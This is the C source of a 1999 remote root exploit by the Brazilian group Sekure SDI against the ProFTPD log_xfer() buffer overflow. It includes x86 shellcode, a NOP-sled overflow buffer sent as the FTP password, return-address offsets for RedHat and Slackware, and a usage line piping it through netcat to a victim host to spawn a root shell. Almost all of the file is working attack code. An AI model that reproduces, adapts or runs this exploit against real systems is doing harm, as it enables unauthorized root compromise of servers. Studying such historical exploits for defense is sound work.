/*
 * SDI linux remote exploit for ProFTPDpre[1,2,3]
 * Sekure SDI - Brazilian Information Security Team
 * by c0nd0r <condor@sekure.org> - Sep/99 (tudo na paz!)
 *
 * Exploit for the ProFTPD log_xfer() buffer overflow -- it will spawn a
 * shell owned by root.
 *
 * HOWTO: unlikely the other recent FTP vulnerability, this one doesn't
 * need a writeable directory. You just got to have permission to
 * download a file (like welcome.msg or README). Don't forget to install
 * our favorite network tool -- NetCat.
 *
 * Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
 *         vader, fcon, slide, corb, Soft Distortion and specially to
 *         my sasazita!  Also lots of thanks to toxyn.org,
 *         pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
 *         #uground (brasnet), #sdi(efnet), #(phibernet).
 *
 * usage: SDIpro -p <your ip> [-f <file>] [-a <align>] [-o <offset>]
 *        where <your ip> is your ip separated with commas (127,0,0,1)
 *              <file>    is the remote file to download
 * example: (./SDIpro -p 27,1,1,4 -a 2;cat) | nc www.victim.com 21
 *
 * Values: Redhat (alignment 2 - offset 0)
 *         Slack  (alignment 0 - offset -300)
 *
 * Warning: We take no responsability for the consequences on using this
 *          tool. DO NOT USE FOR ILICIT ACTIVITIES!
 *
 * Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
 * de seguranca - BOS-BR <bos-br-request@sekure.org>.
 * http://www.securenet.com.br - novo portal de seguranca brasileiro.
 */

char shellcode[] =
  "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39"
  "\xf3\x7c\x07\x80\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
  "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x31\xc9\xb0\x27"
  "\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80"
  "\x31\xc0\x88\x46\x03\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09"
  "\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
  "\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x95\xff\xff\xff\xff\xff"
  "\xff\x43\x43\x30\x30\x31\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";

#include <stdio.h>
#include <unistd.h>
#define TOTAL 940

int fork_port ( void);

int usage ( char *arg) {
  printf ( "SDI remote ProFTPD exploit\n");
  printf ( "usage: %s -p <local ip> -f <file > [-a <align>] [-o <offset>]\n", arg);
  printf ( "where <local ip> is your ip separated with comma (e.g.200,30,1,20)\n");
  printf ( "      <file> is any remote file available to download (eg. welcome.msg)\n");
  printf ( "\nvalues: RedHAT - alignment 2 / offset 0\n");
  printf ( "        Slack  - alignment 0 / offset -300/-200\n");
  exit (0);
}

main ( int argc, char *argv[] ) {
  char buf[2000], port[200], file[150], *pasv=NULL, *ff;
  int x, y=0, offset=0, align=0, c, damn=0;
  long addr=0xbffff450;

  while ((c = getopt(argc, argv, "a:o:p:f:h")) != -1)
    switch (c) {
      case 'a':
        align = atoi ( optarg);
        break;

      case 'o':
        offset = atoi ( optarg);
        break;

      case 'p':
        pasv = optarg;
        break;

      case 'f':
        ff = optarg;
        break;

      case 'h':
        damn = 1;
        break;

     default:
        damn = 1;
        break;
  }

  if (damn==1) usage ( argv[0]);

  if (pasv) snprintf ( port, sizeof(port), "%s,5,220", pasv);
    else usage ( argv[0]);

  if (ff) snprintf ( file, sizeof(file), "%s", ff);
    else strcpy ( file, "welcome.msg");

  if ( fork() == 0) fork_port();

  addr += offset;
  fprintf ( stderr, "\nALIGN %d (use alignment 2 for RedHAT)\n", align);
  fprintf ( stderr, "OFFset %d\n", offset);
  fprintf ( stderr, "RET 0x%x\n", addr);
  fprintf ( stderr, "RETR %s\n\n", file);

  for ( x = 0; x < ((TOTAL+align)-strlen(shellcode)); x++)
    buf[x] = 0x90;

  for ( ; y < strlen(shellcode); y++, x++)
    buf[x] = shellcode[y];

  for (  ; x < 1016; x+=5) {
    buf[x  ] = (addr & 0x000000ff);
    buf[x+1] = (addr & 0x0000ff00) >> 8;
    buf[x+2] = (addr & 0x00ff0000) >> 16;
    buf[x+3] = (addr & 0x00ff0000) >> 16;
    buf[x+4] = (addr & 0xff000000) >> 24;
  }
  printf( "USER ftp\n");
  sleep(1);
  printf ( "PASS %s\n", buf);
  sleep(1);
  printf ( "PORT %s\n", port);
  sleep(1);
  printf( "RETR %s\n", file);
  sleep(1);
}

#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>

int fork_port ( void) {
  struct sockaddr_in sa;
  struct sockaddr_in ca;
  int sd, cd, lx, len=0, n=0;
  char outbuf[5000];

  bzero ( &sa, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(1500);
  sd = socket ( AF_INET, SOCK_STREAM, 0);
  lx = bind ( sd, (struct sockaddr *) &sa, sizeof(sa));
  if (lx<0) {
    perror("bind"); exit(0);
  }
  lx = listen ( sd, 5);
  if (lx<0) {
    perror("listen"); exit(0);
  }
  // fprintf ( stderr, "waiting for the incoming file\n");
  len = sizeof(ca);
  cd = accept ( sd, (struct sockaddr *) &ca, &len);
  if ( cd <= 0) { perror("accept"); return(0); }
  while ( (n = read ( cd, outbuf, sizeof(outbuf))) > 0)
  //   fprintf ( stderr, "=> %s\n", outbuf);  /*only for debugging*/
  if ( n > 0) fprintf ( stderr, "file received\n");
  close ( sd);
  close ( cd);
  sleep(1);
  printf ( "uname -a; id;\n");
  exit(0);
}
